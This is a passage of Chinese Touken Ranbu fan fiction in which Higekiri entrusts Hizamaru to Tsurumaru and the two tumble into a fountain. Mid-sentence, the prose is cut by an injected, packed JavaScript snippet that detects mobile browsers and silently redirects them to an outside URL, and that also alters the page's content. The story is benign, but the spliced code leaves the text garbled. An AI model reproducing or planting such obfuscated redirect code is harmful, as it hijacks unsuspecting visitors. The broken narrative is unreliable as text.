“说实话,我还没想好。”那些轻飘飘的话来应付膝丸当然是没用的,他自己也知道,只是为了说服自己才那样想而已。 如果一句“我不允许”就能让膝丸听话,恐怕根本就没有会自行碎刀的膝丸了,毕竟绝对没有哪一振髭切会不想让弟弟活下去的。平时尊敬兄长,和他有自己的想法和执着并不冲突。 不过,总会想出办法的吧,就算想不出来也只能硬着头皮继续了。 “比起这个,能不能帮我一件事呢?只能托付给你的事。” 鹤丸国永一听就有种不祥的预感,用这种语气……总觉得要是答应了这件事,以后的麻烦恐怕就不会少了,但还是没办法说出拒绝的话。 谁能拒绝一个熟悉的将死之人的求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797651|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助呢?反正髭切不能,鹤丸国永更不能。 “我离开之后,膝丸就拜托你照顾一下了哟。”髭切就这么用轻飘飘软绵绵的语气交给了鹤丸一个大任务。 鹤丸国永忍不住扶额。 他就知道不是什么好差事! 髭切要是碎刀了,以膝丸的性格会做出什么事不用想都知道,要让他来帮忙干这种事? 他觉得现在让他杀进时间溯行军大本营都比这件事轻松。 “……你是故意的吗?”鹤丸国永睁着死鱼眼看向髭切。“自己的弟弟要自己照顾才对吧。” 髭切没忍住被逗笑了,大概是一直都压抑着的缘故,这一次难得的暴露本性他笑得毫不掩饰,完全不担心旁边的鹤丸国永有什么想法,连眼泪都笑到溢出了眼眶。 反正他看出来了,鹤丸国永从一开始就压根没把“髭切”当回事。 大概是因为先前有面对鹤丸的经验吧,鹤丸国永很快就看透了他装模作样的样子之下真正的性格。既然他到现在也没拆穿,那之后也没什么好担心的。 面对一个完全看透自己性格的人,既然有机会展现自己真实的样子,为什么不做呢? 他捂着肚子笑的前仰后合,连鹤丸国永都担心他会不会笑到喘不上气,在一旁等了好一阵才看见髭切缓过来些,自己伸出手擦去了泪花。 “笑得太夸张了吧?”鹤丸国永脸上挂着无奈的笑,扶了一把差点掉进喷泉里的髭切。 “这都怪你做那种表情吧?”而且,你不是也纵容地一直没阻拦吗。 变得任性起来了啊,这家伙。 鹤丸国永心中吐槽,大概是看出来了髭切的心情,对自己的兴趣也毫不掩饰起来了。他悄悄使力,把扶着髭切的手向后倒了倒。 本来只是想使坏吓一下这个得意的家伙,结果没想到髭切的反应能力不差,直接反应过来一把拽住鹤丸国永,毫无防备的鹤丸国永就这样和髭切一起掉进了喷泉池里。 玩脱了。两刃湿淋淋地站起身,沉默地对视着。 “这个就有点麻烦了啊,总不能这个时间回去取衣服……”鹤丸国永苦恼抬起手,捏了一把自己湿淋淋的袖子,拧下一串的水流。 虽说现在的状况他自己也好不到哪去,和鹤丸国永这么浑身湿透地回去,一定会被膝丸抓着问发生了什么,但髭切还是很想笑。 “喂喂,你也稍微头疼一点吧?”鹤丸国永也完全不生气,直接损了回去。“等下回去你可是要想好解释的话哦?” 两个浑身上下都白的发光的刃就这么迎着夜风拧着衣服上的水,该庆幸现在是凌晨吗?不会有小短刀路过这里,否则会成为本丸怪谈的啊。 直到远处传来一道模糊的喊声。 “兄长——”髭切脸色一变,赶忙打眼色示意鹤丸国永一定要好好配合。 鹤丸国永虽然神色古怪,但还是对着髭切比了个“OK”,回忆起了来找髭切前发生的对话。 …… 鹤丸国永意料之中地拨开了膝丸攥着他的手。“都听到了?”